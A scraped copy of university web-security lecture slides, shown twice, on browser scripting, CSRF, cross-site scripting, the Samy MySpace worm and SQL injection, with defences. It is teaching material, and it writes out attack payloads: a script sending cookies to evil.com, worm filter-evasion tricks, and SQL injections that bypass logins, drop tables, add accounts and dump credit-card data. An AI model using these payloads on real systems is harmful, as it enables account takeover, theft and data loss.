SlideShare a Scribd company logo
WEB SECURITY
[based on slides by Dan Boneh, Collin Jackson, John Mitchell, Arvind Narayanan, and Vitaly Shmatikov]
slide 2
Browser and Network
Browser
Network
OS
Hardware
websiterequest
reply
Two Sides of Web Security
• Web browser
– Can be attacked by any website it visits
– Attacks lead to malware installation (keyloggers,
botnets), document theft, loss of private data
• Web application
– Runs at website
• Banks, online merchants, blogs, Google Apps, many
others
– Written in PHP, ASP, JSP, Ruby, …
– Many potential bugs: CSRF, CSS, SQL injection
– Attacks lead to stolen credit cards, defaced sites,
mayhem slide 3
slide 4
• Runs on a Web server or application server
• Takes input from Web users (via Web server)
• Interacts with back-end databases and third
parties
• Prepares and outputs results for users (via
Web server)
– Dynamically generated HTML pages
– Contain content from many different sources, often
including regular users
• Blogs, social networks, photo-sharing websites…
Typical Web Application Design
Web Attacker
• Controls malicious website (attacker.com)
– Can even obtain SSL/TLS certificate for his site
($0)
• User visits attacker.com – why?
– Phishing email, enticing content, search results,
placed by ad network, blind luck …
• Attacker has no other access to user
machine!
• Variation: gadget attacker
– Bad gadget included in otherwise honest mashup
(EvilMaps.com)
slide 5
Other Web Threat Models
• Network attacker
– Passive: wireless eavesdropper
– Active: evil router, DNS poisoning
• Malware attacker
– Attacker controls user’s machine – how?
– Exploit application bugs (e.g., buffer
overflow)
– Convince user to install malicious content –
how?
• Masquerade as an antivirus program, codec for a
new video format, etc.
slide 6
OS vs. Browser Analogies
• Primitives
– System calls
– Processes
– Disk
• Principals: Users
– Discretionary access control
• Vulnerabilities
– Buffer overflow
– Root exploit
• Primitives
– Document object model
– Frames
– Cookies / localStorage
• Principals: “Origins”
– Mandatory access control
• Vulnerabilities
– Cross-site scripting
– Universal scripting
Operating system Web browser
slide 7
Browser: Basic Execution Model
• Each browser window or frame
– Loads content
– Renders
• Processes HTML and scripts to display the page
• May involve images, subframes, etc.
– Responds to events
• Events
– User actions: OnClick, OnMouseover
– Rendering: OnLoad
– Timing: setTimeout(), clearTimeout()
slide 8
HTML and Scripts
<html>
…
<p> The script on this page adds two numbers
<script>
var num1, num2, sum
num1 = prompt("Enter first number")
num2 = prompt("Enter second number")
sum = parseInt(num1) + parseInt(num2)
alert("Sum = " + sum)
</script>
…
</html>
Browser receives content,
displays HTML and executes scripts
slide 9
slide 10
Event-Driven Script Execution
<script type="text/javascript">
function whichButton(event) {
if (event.button==1) {
alert("You clicked the left mouse button!") }
else {
alert("You clicked the right mouse button!")
}}
</script>
…
<body onmousedown="whichButton(event)">
…
</body>
Function gets executed
when some event happens
Other events:
onLoad, onMouseMove, onKeyPress, onUnLoad
slide 11
Script defines a
page-specific function
slide 12
slide 13
JavaScript
• Language executed by browser
– Scripts are embedded in Web pages
– Can run before HTML is loaded, before page is viewed,
while it is being viewed or when leaving the page
• Used to implement “active” web pages
– AJAX, huge number of Web-based applications
• Many security and correctness issues
– Attacker gets to execute some code on user’s machine
– Often used to exploit other vulnerabilities
• “The world’s most misunderstood prog. language”
slide 14
JavaScript History
• Developed by Brendan Eich at Netscape
– Scripting language for Navigator 2
• Later standardized for browser
compatibility
– ECMAScript Edition 3 (aka JavaScript 1.5)
• Related to Java in name only
– Name was part of a marketing deal
– “Java is to JavaScript as car is to carpet”
slide 15
Common Uses of JavaScript
• Form validation
• Page embellishments and special effects
• Navigation systems
• Basic math calculations
• Dynamic content manipulation
• Hundreds of applications
– Dashboard widgets in Mac OS X, Google
Maps, Philips universal remotes, Writely word
processor …
slide 16
JavaScript in Web Pages
• Embedded in HTML page as <script> element
– JavaScript written directly inside <script> element
• <script> alert("Hello World!") </script>
– Linked file as src attribute of the <script> element
<script type="text/JavaScript"
src=“functions.js"></script>
• Event handler attribute
<a href="http://www.yahoo.com"
onmouseover="alert('hi');">
• Pseudo-URL referenced by a link
<a href=“JavaScript: alert(‘You clicked’);”>Click me</a>
slide 17
JavaScript Security Model
• Script runs in a “sandbox”
– No direct file access, restricted network access
• Same-origin policy
– Can only read properties of documents and
windows from the same server, protocol, and
port
– If the same server hosts unrelated sites, scripts
from one site can access document properties on
the other
• User can grant privileges to signed scripts
– UniversalBrowserRead/Write, UniversalFileRead,
UniversalSendMail
Library Import
• Same-origin policy does not apply to
scripts loaded in enclosing frame from
arbitrary site
• This script runs as if it were loaded from
the site that provided the page!
<script type="text/javascript">
src="http://www.example.com/scripts/somescript.js">
</script>
slide 18
Document Object Model (DOM)
• HTML page is structured data
• DOM provides representation of this hierarchy
• Examples
– Properties: document.alinkColor, document.URL,
document.forms[ ], document.links[ ],
document.anchors[ ], …
– Methods: document.write(document.referrer)
• These change the content of the page!
• Also Browser Object Model (BOM)
– Window, Document, Frames[], History, Location,
Navigator (type and version of browser)
slide 19
Browser and Document Structure
W3C standard differs from models
supported in existing browsers
slide 20
slide 21
Reading Properties with JavaScript
Sample script
– Example 1 returns "ul"
– Example 2 returns "null"
– Example 3 returns "li"
– Example 4 returns "text"
• A text node below the "li" which holds the actual text data as its value
– Example 5 returns " Item 1 "
1. document.getElementById('t1').nodeName
2. document.getElementById('t1').nodeValue
3. document.getElementById('t1').firstChild.nodeName
4. document.getElementById('t1').firstChild.firstChild.nodeName
5. document.getElementById('t1').firstChild.firstChild.nodeValue
<ul id="t1">
<li> Item 1 </li>
</ul>
Sample HTML
slide 22
Page Manipulation with JavaScript
• Some possibilities
– createElement(elementName)
– createTextNode(text)
– appendChild(newChild)
– removeChild(node)
• Example: add a new list item
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
<ul id="t1">
<li> Item 1 </li>
</ul>
Sample HTML
Frame and iFrame
• Window may contain frames from different
sources
– Frame: rigid division as part of frameset
– iFrame: floating inline frame
• Why use frames?
– Delegate screen area to content from another source
– Browser provides isolation based on frames
– Parent may work even if frame is broken
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>
slide 23
Cookies
ServerBrowser
slide 24
On later access to same origin,
send a copy of the cookie
Server sends cookie
Cookie-Based Authentication
ServerBrowser
slide 25
Three Example Attacks
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection
Three Example Attacks
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection
slide 28
CSRF: Cross-Site Request Forgery
• Same browser runs a script from a “good”
site and a malicious script from a “bad” site
– How could this happen?
– Requests to “good” site are authenticated by
cookies
• Malicious script can make forged requests to
“good” site with user’s cookie
– Netflix: change acct settings, Gmail: steal
contacts
– Potential for much bigger damage (think
banking)
XSRF (aka CSRF): Basic Idea
Attack server
Server victim
User victim
1
2
4
Q: how long do you stay logged on to Gmail?
slide 29
CSRF in More Detail
slide 30
Login CSRF
slide 31
CSRF Defenses
• Secret validation token
• Referer validation
• Custom HTTP header
<input type=hidden value=23a3af01b>
Referer:
http://www.facebook.com/home.php
X-Requested-By: XMLHttpRequest
slide 32
Secret, Random Validation Token
• Hash of user ID
– Can be forged by attacker
• Session ID
– If attacker has access to HTML of the Web page
(how?), can learn session ID and hijack the session
• Session-independent nonce – Trac
– Can be overwritten by subdomains, network attackers
• Need to bind session ID to the token
– CSRFx, CSRFGuard - Manage state table at the server
– HMAC (keyed hash) of session ID – no extra state!
<input type=hidden value=23a3af01b>
slide 33
Referer Validation
• Lenient referer checking – header is optional
• Strict referer checking – header is required
Referer:
http://www.facebook.com/home.php
Referer:
http://www.evil.com/attack.html
Referer:


?
slide 34
CSRF Recommendations
• Login CSRF
– Strict referer validation
– Login forms typically submit over HTTPS, not
blocked
• HTTPS sites, such as banking sites
– Strict referer validation
• Other sites
– Use Ruby-on-Rails or other framework that
implements secret token method correctly
• Several solutions proposed
– For example, another type of header
slide 35
Three Example Issues
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection
slide 37
Echoing User Input
• Classic mistake in a server-side application
http://naive.com/search.php?term=“Britney Spears”
search.php responds with
<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>… </body>
Or
GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Cross-Site Scripting: Basic Idea
Attack server
Server victim
User victim
1
2
5
slide 38
slide 39
XSS: Cross-Site Scripting
victim’s
browser naive.comevil.com
Access some web page
<FRAME SRC=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.cgi?
cookie=”+document.cookie)
</script>>
Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”
GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.cgi?cookie”+
document.cookie)</script> hello.cgi
executed
<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.cgi?cookie=”
+document.cookie)</script>
Welcome!</HTML>
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
GET/ steal.cgi?cookie=
E.g., URL embedded
in HTML email
hello.cgi
So What?
• Why would user click on such a link?
– Phishing email in webmail client (e.g., Gmail)
– Link in DoubleClick banner ad
– … many many ways to fool user into clicking
• So what if evil.com gets cookie for naive.com?
– Cookie can include session authenticator for
naive.com
• Or other data intended only for naive.com
– Violates the “intent” of the same-origin policy
slide 40
slide 41
• CSS is a form of “reflection attack”
– User is tricked into visiting a badly written website
– A bug in website code causes it to display and the
user’s browser to execute an arbitrary attack script
• Can change contents of the affected website
by manipulating DOM components
– Show bogus information, request sensitive data
– Control form fields on this page and linked pages
• For example, phishing attack injects password field that
sends password to bad guy
• Can cause user’s browser to attack other
websites
Other CSS Risks
CSS defenses
1. Escaping of output
&lt;script&gt;
post(evil.com,document.cookie)
&lt;/script&gt;
2. Sanitization of input
Strip out tags altogether
Case study: The Samy worm
Samy Kamkar
Target: MySpace profiles
Vector: MySpace profiles
Year: 2005
Damage: none
Response: United States Secret Service
Step 1
Problem (for attacker): MySpace blocks
(sanitizes) most tags in profiles including
<script>
IE allows JS within CSS tags (oops)
<div style="background:url('javascript:alert(1)')">
Step 2
Problem: Couldn't use quotes within the div
because -- already used up single quotes and
double quotes.
Used an expression to store the JS and then
executed it by name
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval
(document.all.mycode.expr)')">
Step 3
However, MySpace strips out the word
"javascript“
Some browsers will actually interpret
"javanscript" as "javascript" (that's
java<NEWLINE>script).
Step 4
Okay, while we do have single quotes working,
we sometimes NEED double quotes.
Convert decimal to ASCII in javascript to actually
produce the quotes
<div id="mycode" expr="alert('double quote: ' +
String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
Three Example Issues
1. Cross-site request forgery (CSRF)
2. Cross-site scripting (CSS)
3. SQL injection
SQL
• Widely used database query language
• Fetch a set of records
SELECT * FROM Person WHERE Username=‘bob’
• Add data to the table
INSERT INTO Key (Username, Key) VALUES (‘bob’, 3611BBFF)
• Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
• Query syntax (mostly) independent of
vendor
slide 49
Some Flawed Code
• Sample PHP
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
• What if ‘user’ is a malicious string that
changes the meaning of the query?
slide 50
SQL Injection: Basic Idea
Victim server
Victim SQL DB
Attacker
unintended
query
receive valuable data
1
2
3
slide 51
u This is an input validation vulnerability
Unsanitized user input in SQL query to back- end
database changes the meaning of query
u Specific case of more general command
injection
Typical Login Prompt
slide 52
Enter
Username
&
Password
User Input Becomes Part of Query
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘$user’
slide 53
Enter
Username
&
Password
Normal Login
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘smith’
slide 54
Malicious User Input
slide 55
Enter
Username
&
Password
SQL Injection Attack
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘’; DROP TABLE
USERS; -- `
slide 56
Eliminates all user
accounts
slide 57
Exploits of a Momhttp://xkcd.com/327/
slide 58
Authentication with Back-End DB
• set UserFound=execute(
“SELECT * FROM UserTable WHERE
username=‘ ” & form(“user”) & “ ′ AND
password= ‘ ” & form(“pwd”) & “ ′ ” );
– User supplies username and password, this SQL
query checks if user/password combination is in
the database
• If not UserFound.EOF
Authentication correct
else Fail
Only true if the result of SQL
query is not empty, i.e.,
user/pwd is in the database
slide 59
Using SQL Injection to Steal Data
• User gives username ′ OR 1=1 --
• Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘ ′ OR 1=1 -- … );
– Now all records match the query
• This returns the entire database!
Always true! Everything after -- is ignored!
slide 60
Another SQL Injection Example
• To authenticate logins, server runs this SQL
command against the user database:
SELECT * WHERE user=‘name’ AND
pwd=‘passwd’
• User enters ’ OR WHERE pwd LIKE `% as
both name and passwd
• Server executes
SELECT * WHERE user=‘’ OR WHERE pwd LIKE
`%’ AND pwd=‘’ OR WHERE pwd LIKE `%’
• Logs in with the credentials of the first person
in the database (typically, administrator!)
[From “The Art of Intrusion”]
Wildcard matches any password
slide 61
Worse Yet …
• User gives username
′ exec cmdshell ’net user badguy badpwd’ / ADD --
• Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘ ′ exec … -- … );
• Creates an account for badguy on DB
server
Pull Data From Other Databases
• User gives username
’ AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year FROM creditcards
• Results of two queries are combined
• Empty table from the first query is
displayed together with the entire
contents of the credit card database
slide 62
More Attacks
• Create new users
’; INSERT INTO USERS
(‘uname’,‘passwd’,‘salt’)
VALUES (‘hacker’,‘38a74f’, 3234);
• Password reset
’; UPDATE USERS SET
email=hcker@root.org WHERE
email=victim@yahoo.com
slide 63
Preventing SQL Injection
• Input validation
– Filter
• Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
• Any character that has special meanings
– Check the data type (e.g., make sure it’s an
integer)
• Whitelisting
– Blacklisting “bad” characters doesn’t work
• Forget to filter out some characters
• Could prevent valid input (e.g., last name O’Brien)
– Allow only well-defined set of safe values
• Set implicitly defined through regular expressions
slide 64
Escaping Quotes
• For valid string inputs use escape
characters to prevent the quote becoming
part of the query
– Example: escape(o’connor) = o’’connor
– Convert ’ into ’
– Only works for string inputs
– Different databases have different rules for
escaping
slide 65
Prepared Statements
• Metacharacters (e.g. ’) in queries provide
distinction between data and control
• In most injection attacks data are
interpreted as control – this changes the
semantics of a query or a command
• Bind variables: ? placeholders guaranteed
to be data (not control)
• Prepared statements allow creation of
static queries with bind variables →
preserves the structure of intended query
slide 66
Prepared Statement: Example
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Bind variable: data
placeholder
• Query parsed without parameters
• Bind variables are typed (int, string, …)
slide 67
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html
Mitigating Impact of Attack
• Prevent leakage of database schema and
other information
• Limit privileges (defense in depth)
• Encrypt sensitive data stored in database
• Harden DB server and host OS
• Apply input validation
slide 68

More Related Content

PPT
PDF
Blackhat11 shreeraj reverse_engineering_browser
PPTX
Building Secure User Interfaces With JWTs
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
PPT
Web Attacks - Top threats - 2010
PPT
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
PPTX
.NET Fest 2017. Matteo Pagani. Prism and Xamarin Forms: create cross-platform...
PPTX
Secure webbrowsing 1
Blackhat11 shreeraj reverse_engineering_browser
Building Secure User Interfaces With JWTs
VSA: The Virtual Scripted Attacker, Brucon 2012
Web Attacks - Top threats - 2010
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
.NET Fest 2017. Matteo Pagani. Prism and Xamarin Forms: create cross-platform...
Secure webbrowsing 1

Viewers also liked (9)

PPT
Web security
PPTX
Web application security
PPT
Web Based Security
PPTX
Social engineering-Attack of the Human Behavior
PPTX
Social engineering
PPTX
Social engineering presentation
PPTX
Presentation of Social Engineering - The Art of Human Hacking
PPTX
Social Engineering
PPT
Web Security
Web security
Web application security
Web Based Security
Social engineering-Attack of the Human Behavior
Social engineering
Social engineering presentation
Presentation of Social Engineering - The Art of Human Hacking
Social Engineering
Web Security
Ad

Similar to Cos 432 web_security (20)

PPT
526_topic08.ppt
PDF
Chapter 13 web security
PPT
15_526_topic11 for topics for students.ppt
PPT
Information Security (IS) CS 526 all detailed
PDF
XCS110_All_Slides.pdf
PDF
www.webre24h.com - Ajax security
PDF
JavaScript and BOM events
KEY
Cross Site Scripting - Mozilla Security Learning Center
PDF
The top 10 security issues in web applications
PPT
INTRO TO JAVASCRIPT basic to adcance.ppt
PDF
Internet Explorer 8
PPT
Isys20261 lecture 09
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
PPT
HTML5 hacking
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
PPT
(In)Security Implication in the JS Universe
PPTX
Advanced Client Side Exploitation Using BeEF
 
PPTX
Web Security
PPTX
Hacking WebApps for fun and profit : how to approach a target?
PPTX
Notes on SF W3Conf
526_topic08.ppt
Chapter 13 web security
15_526_topic11 for topics for students.ppt
Information Security (IS) CS 526 all detailed
XCS110_All_Slides.pdf
www.webre24h.com - Ajax security
JavaScript and BOM events
Cross Site Scripting - Mozilla Security Learning Center
The top 10 security issues in web applications
INTRO TO JAVASCRIPT basic to adcance.ppt
Internet Explorer 8
Isys20261 lecture 09
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
HTML5 hacking
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
(In)Security Implication in the JS Universe
Advanced Client Side Exploitation Using BeEF
 
Web Security
Hacking WebApps for fun and profit : how to approach a target?
Notes on SF W3Conf
Ad

Cos 432 web_security

  • 1. WEB SECURITY [based on slides by Dan Boneh, Collin Jackson, John Mitchell, Arvind Narayanan, and Vitaly Shmatikov]
  • 2. slide 2 Browser and Network Browser Network OS Hardware websiterequest reply
  • 3. Two Sides of Web Security • Web browser – Can be attacked by any website it visits – Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data • Web application – Runs at website • Banks, online merchants, blogs, Google Apps, many others – Written in PHP, ASP, JSP, Ruby, … – Many potential bugs: CSRF, CSS, SQL injection – Attacks lead to stolen credit cards, defaced sites, mayhem slide 3
  • 4. slide 4 • Runs on a Web server or application server • Takes input from Web users (via Web server) • Interacts with back-end databases and third parties • Prepares and outputs results for users (via Web server) – Dynamically generated HTML pages – Contain content from many different sources, often including regular users • Blogs, social networks, photo-sharing websites… Typical Web Application Design
  • 5. Web Attacker • Controls malicious website (attacker.com) – Can even obtain SSL/TLS certificate for his site ($0) • User visits attacker.com – why? – Phishing email, enticing content, search results, placed by ad network, blind luck … • Attacker has no other access to user machine! • Variation: gadget attacker – Bad gadget included in otherwise honest mashup (EvilMaps.com) slide 5
  • 6. Other Web Threat Models • Network attacker – Passive: wireless eavesdropper – Active: evil router, DNS poisoning • Malware attacker – Attacker controls user’s machine – how? – Exploit application bugs (e.g., buffer overflow) – Convince user to install malicious content – how? • Masquerade as an antivirus program, codec for a new video format, etc. slide 6
  • 7. OS vs. Browser Analogies • Primitives – System calls – Processes – Disk • Principals: Users – Discretionary access control • Vulnerabilities – Buffer overflow – Root exploit • Primitives – Document object model – Frames – Cookies / localStorage • Principals: “Origins” – Mandatory access control • Vulnerabilities – Cross-site scripting – Universal scripting Operating system Web browser slide 7
  • 8. Browser: Basic Execution Model • Each browser window or frame – Loads content – Renders • Processes HTML and scripts to display the page • May involve images, subframes, etc. – Responds to events • Events – User actions: OnClick, OnMouseover – Rendering: OnLoad – Timing: setTimeout(), clearTimeout() slide 8
  • 9. HTML and Scripts <html> … <p> The script on this page adds two numbers <script> var num1, num2, sum num1 = prompt("Enter first number") num2 = prompt("Enter second number") sum = parseInt(num1) + parseInt(num2) alert("Sum = " + sum) </script> … </html> Browser receives content, displays HTML and executes scripts slide 9
  • 11. Event-Driven Script Execution <script type="text/javascript"> function whichButton(event) { if (event.button==1) { alert("You clicked the left mouse button!") } else { alert("You clicked the right mouse button!") }} </script> … <body onmousedown="whichButton(event)"> … </body> Function gets executed when some event happens Other events: onLoad, onMouseMove, onKeyPress, onUnLoad slide 11 Script defines a page-specific function
  • 13. slide 13 JavaScript • Language executed by browser – Scripts are embedded in Web pages – Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page • Used to implement “active” web pages – AJAX, huge number of Web-based applications • Many security and correctness issues – Attacker gets to execute some code on user’s machine – Often used to exploit other vulnerabilities • “The world’s most misunderstood prog. language”
  • 14. slide 14 JavaScript History • Developed by Brendan Eich at Netscape – Scripting language for Navigator 2 • Later standardized for browser compatibility – ECMAScript Edition 3 (aka JavaScript 1.5) • Related to Java in name only – Name was part of a marketing deal – “Java is to JavaScript as car is to carpet”
  • 15. slide 15 Common Uses of JavaScript • Form validation • Page embellishments and special effects • Navigation systems • Basic math calculations • Dynamic content manipulation • Hundreds of applications – Dashboard widgets in Mac OS X, Google Maps, Philips universal remotes, Writely word processor …
  • 16. slide 16 JavaScript in Web Pages • Embedded in HTML page as <script> element – JavaScript written directly inside <script> element • <script> alert("Hello World!") </script> – Linked file as src attribute of the <script> element <script type="text/JavaScript" src=“functions.js"></script> • Event handler attribute <a href="http://www.yahoo.com" onmouseover="alert('hi');"> • Pseudo-URL referenced by a link <a href=“JavaScript: alert(‘You clicked’);”>Click me</a>
  • 17. slide 17 JavaScript Security Model • Script runs in a “sandbox” – No direct file access, restricted network access • Same-origin policy – Can only read properties of documents and windows from the same server, protocol, and port – If the same server hosts unrelated sites, scripts from one site can access document properties on the other • User can grant privileges to signed scripts – UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
  • 18. Library Import • Same-origin policy does not apply to scripts loaded in enclosing frame from arbitrary site • This script runs as if it were loaded from the site that provided the page! <script type="text/javascript"> src="http://www.example.com/scripts/somescript.js"> </script> slide 18
  • 19. Document Object Model (DOM) • HTML page is structured data • DOM provides representation of this hierarchy • Examples – Properties: document.alinkColor, document.URL, document.forms[ ], document.links[ ], document.anchors[ ], … – Methods: document.write(document.referrer) • These change the content of the page! • Also Browser Object Model (BOM) – Window, Document, Frames[], History, Location, Navigator (type and version of browser) slide 19
  • 20. Browser and Document Structure W3C standard differs from models supported in existing browsers slide 20
  • 21. slide 21 Reading Properties with JavaScript Sample script – Example 1 returns "ul" – Example 2 returns "null" – Example 3 returns "li" – Example 4 returns "text" • A text node below the "li" which holds the actual text data as its value – Example 5 returns " Item 1 " 1. document.getElementById('t1').nodeName 2. document.getElementById('t1').nodeValue 3. document.getElementById('t1').firstChild.nodeName 4. document.getElementById('t1').firstChild.firstChild.nodeName 5. document.getElementById('t1').firstChild.firstChild.nodeValue <ul id="t1"> <li> Item 1 </li> </ul> Sample HTML
  • 22. slide 22 Page Manipulation with JavaScript • Some possibilities – createElement(elementName) – createTextNode(text) – appendChild(newChild) – removeChild(node) • Example: add a new list item var list = document.getElementById('t1') var newitem = document.createElement('li') var newtext = document.createTextNode(text) list.appendChild(newitem) newitem.appendChild(newtext) <ul id="t1"> <li> Item 1 </li> </ul> Sample HTML
  • 23. Frame and iFrame • Window may contain frames from different sources – Frame: rigid division as part of frameset – iFrame: floating inline frame • Why use frames? – Delegate screen area to content from another source – Browser provides isolation based on frames – Parent may work even if frame is broken <IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100> If you can see this, your browser doesn't understand IFRAME. </IFRAME> slide 23
  • 24. Cookies ServerBrowser slide 24 On later access to same origin, send a copy of the cookie Server sends cookie
  • 26. Three Example Attacks 1. Cross-site request forgery (CSRF) 2. Cross-site scripting (CSS) 3. SQL injection
  • 27. Three Example Attacks 1. Cross-site request forgery (CSRF) 2. Cross-site scripting (CSS) 3. SQL injection
  • 28. slide 28 CSRF: Cross-Site Request Forgery • Same browser runs a script from a “good” site and a malicious script from a “bad” site – How could this happen? – Requests to “good” site are authenticated by cookies • Malicious script can make forged requests to “good” site with user’s cookie – Netflix: change acct settings, Gmail: steal contacts – Potential for much bigger damage (think banking)
  • 29. XSRF (aka CSRF): Basic Idea Attack server Server victim User victim 1 2 4 Q: how long do you stay logged on to Gmail? slide 29
  • 30. CSRF in More Detail slide 30
  • 32. CSRF Defenses • Secret validation token • Referer validation • Custom HTTP header <input type=hidden value=23a3af01b> Referer: http://www.facebook.com/home.php X-Requested-By: XMLHttpRequest slide 32
  • 33. Secret, Random Validation Token • Hash of user ID – Can be forged by attacker • Session ID – If attacker has access to HTML of the Web page (how?), can learn session ID and hijack the session • Session-independent nonce – Trac – Can be overwritten by subdomains, network attackers • Need to bind session ID to the token – CSRFx, CSRFGuard - Manage state table at the server – HMAC (keyed hash) of session ID – no extra state! <input type=hidden value=23a3af01b> slide 33
  • 34. Referer Validation • Lenient referer checking – header is optional • Strict referer checking – header is required Referer: http://www.facebook.com/home.php Referer: http://www.evil.com/attack.html Referer:   ? slide 34
  • 35. CSRF Recommendations • Login CSRF – Strict referer validation – Login forms typically submit over HTTPS, not blocked • HTTPS sites, such as banking sites – Strict referer validation • Other sites – Use Ruby-on-Rails or other framework that implements secret token method correctly • Several solutions proposed – For example, another type of header slide 35
  • 36. Three Example Issues 1. Cross-site request forgery (CSRF) 2. Cross-site scripting (CSS) 3. SQL injection
  • 37. slide 37 Echoing User Input • Classic mistake in a server-side application http://naive.com/search.php?term=“Britney Spears” search.php responds with <html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>… </body> Or GET/ hello.cgi?name=Bob hello.cgi responds with <html>Welcome, dear Bob</html>
  • 38. Cross-Site Scripting: Basic Idea Attack server Server victim User victim 1 2 5 slide 38
  • 39. slide 39 XSS: Cross-Site Scripting victim’s browser naive.comevil.com Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) </script>> Forces victim’s browser to call hello.cgi on naive.com with this script as “name” GET/ hello.cgi?name= <script>win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie)</script> hello.cgi executed <HTML>Hello, dear <script>win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com GET/ steal.cgi?cookie= E.g., URL embedded in HTML email hello.cgi
  • 40. So What? • Why would user click on such a link? – Phishing email in webmail client (e.g., Gmail) – Link in DoubleClick banner ad – … many many ways to fool user into clicking • So what if evil.com gets cookie for naive.com? – Cookie can include session authenticator for naive.com • Or other data intended only for naive.com – Violates the “intent” of the same-origin policy slide 40
  • 41. slide 41 • CSS is a form of “reflection attack” – User is tricked into visiting a badly written website – A bug in website code causes it to display and the user’s browser to execute an arbitrary attack script • Can change contents of the affected website by manipulating DOM components – Show bogus information, request sensitive data – Control form fields on this page and linked pages • For example, phishing attack injects password field that sends password to bad guy • Can cause user’s browser to attack other websites Other CSS Risks
  • 42. CSS defenses 1. Escaping of output &lt;script&gt; post(evil.com,document.cookie) &lt;/script&gt; 2. Sanitization of input Strip out tags altogether
  • 43. Case study: The Samy worm Samy Kamkar Target: MySpace profiles Vector: MySpace profiles Year: 2005 Damage: none Response: United States Secret Service
  • 44. Step 1 Problem (for attacker): MySpace blocks (sanitizes) most tags in profiles including <script> IE allows JS within CSS tags (oops) <div style="background:url('javascript:alert(1)')">
  • 45. Step 2 Problem: Couldn't use quotes within the div because -- already used up single quotes and double quotes. Used an expression to store the JS and then executed it by name <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval (document.all.mycode.expr)')">
  • 46. Step 3 However, MySpace strips out the word "javascript“ Some browsers will actually interpret "javanscript" as "javascript" (that's java<NEWLINE>script).
  • 47. Step 4 Okay, while we do have single quotes working, we sometimes NEED double quotes. Convert decimal to ASCII in javascript to actually produce the quotes <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')">
  • 48. Three Example Issues 1. Cross-site request forgery (CSRF) 2. Cross-site scripting (CSS) 3. SQL injection
  • 49. SQL • Widely used database query language • Fetch a set of records SELECT * FROM Person WHERE Username=‘bob’ • Add data to the table INSERT INTO Key (Username, Key) VALUES (‘bob’, 3611BBFF) • Modify data UPDATE Keys SET Key=FA33452D WHERE PersonID=5 • Query syntax (mostly) independent of vendor slide 49
  • 50. Some Flawed Code • Sample PHP $selecteduser = $_GET['user']; $sql = "SELECT Username, Key FROM Key " . "WHERE Username='$selecteduser'"; $rs = $db->executeQuery($sql); • What if ‘user’ is a malicious string that changes the meaning of the query? slide 50
  • 51. SQL Injection: Basic Idea Victim server Victim SQL DB Attacker unintended query receive valuable data 1 2 3 slide 51 u This is an input validation vulnerability Unsanitized user input in SQL query to back- end database changes the meaning of query u Specific case of more general command injection
  • 53. Enter Username & Password User Input Becomes Part of Query Web server Web browser (Client) DB SELECT passwd FROM USERS WHERE uname IS ‘$user’ slide 53
  • 56. Enter Username & Password SQL Injection Attack Web server Web browser (Client) DB SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ` slide 56 Eliminates all user accounts
  • 57. slide 57 Exploits of a Momhttp://xkcd.com/327/
